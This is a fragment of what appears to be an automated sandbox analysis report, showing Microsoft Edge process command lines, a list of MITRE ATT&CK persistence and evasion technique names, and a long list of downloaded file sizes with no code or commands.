C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
Network
MITRE ATT&CK Enterprise v6
Persistence
Account Manipulation
1BITS Jobs
1Modify Existing Service
1New Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
BITS Jobs
1Modify Registry
2Virtualization/Sandbox Evasion
1Web Service
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
572KB
-
Filesize
1.5MB
-
Filesize
572KB
-
Filesize
1.5MB
-
Filesize
100KB
-
Filesize
100KB
-
Filesize
152KB
-
Filesize
572KB
-
Filesize
1.5MB
-
Filesize
100KB
-
Filesize
1.5MB
-
Filesize
100KB
-
Filesize
456KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
472KB
-
Filesize
456KB
-
Filesize
456KB
-
Filesize
4KB
-
Filesize
456KB
-
Filesize
456KB
-
Filesize
500KB
-
Filesize
1.3MB
-
Filesize
868KB
-
Filesize
456KB
-
Filesize
18.8MB
-
Filesize
1.3MB
-
Filesize
1.0MB
-
Filesize
1.3MB
-
Filesize
456KB
-
Filesize
36KB
-
Filesize
18.8MB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
456KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
456KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
456KB
-
Filesize
8KB
-
Filesize
18.9MB
-
Filesize
696KB
-
Filesize
4KB
-
Filesize
116KB
-
Filesize
140KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
124KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
1.3MB
-
Filesize
1.3MB
-
Filesize
4KB
-
Filesize
456KB
-
Filesize
456KB
-
Filesize
456KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
80KB
-
Filesize
84KB
-
Filesize
80KB
-
Filesize
18.8MB
-
Filesize
1.3MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
1.6MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
136KB
-
Filesize
6.0MB
-
Filesize
136KB
-
Filesize
6.0MB
-
Filesize
308KB
-
Filesize
456KB
-
Filesize
64KB
-
Filesize
72KB
-
Filesize
4KB
-
Filesize
1.6MB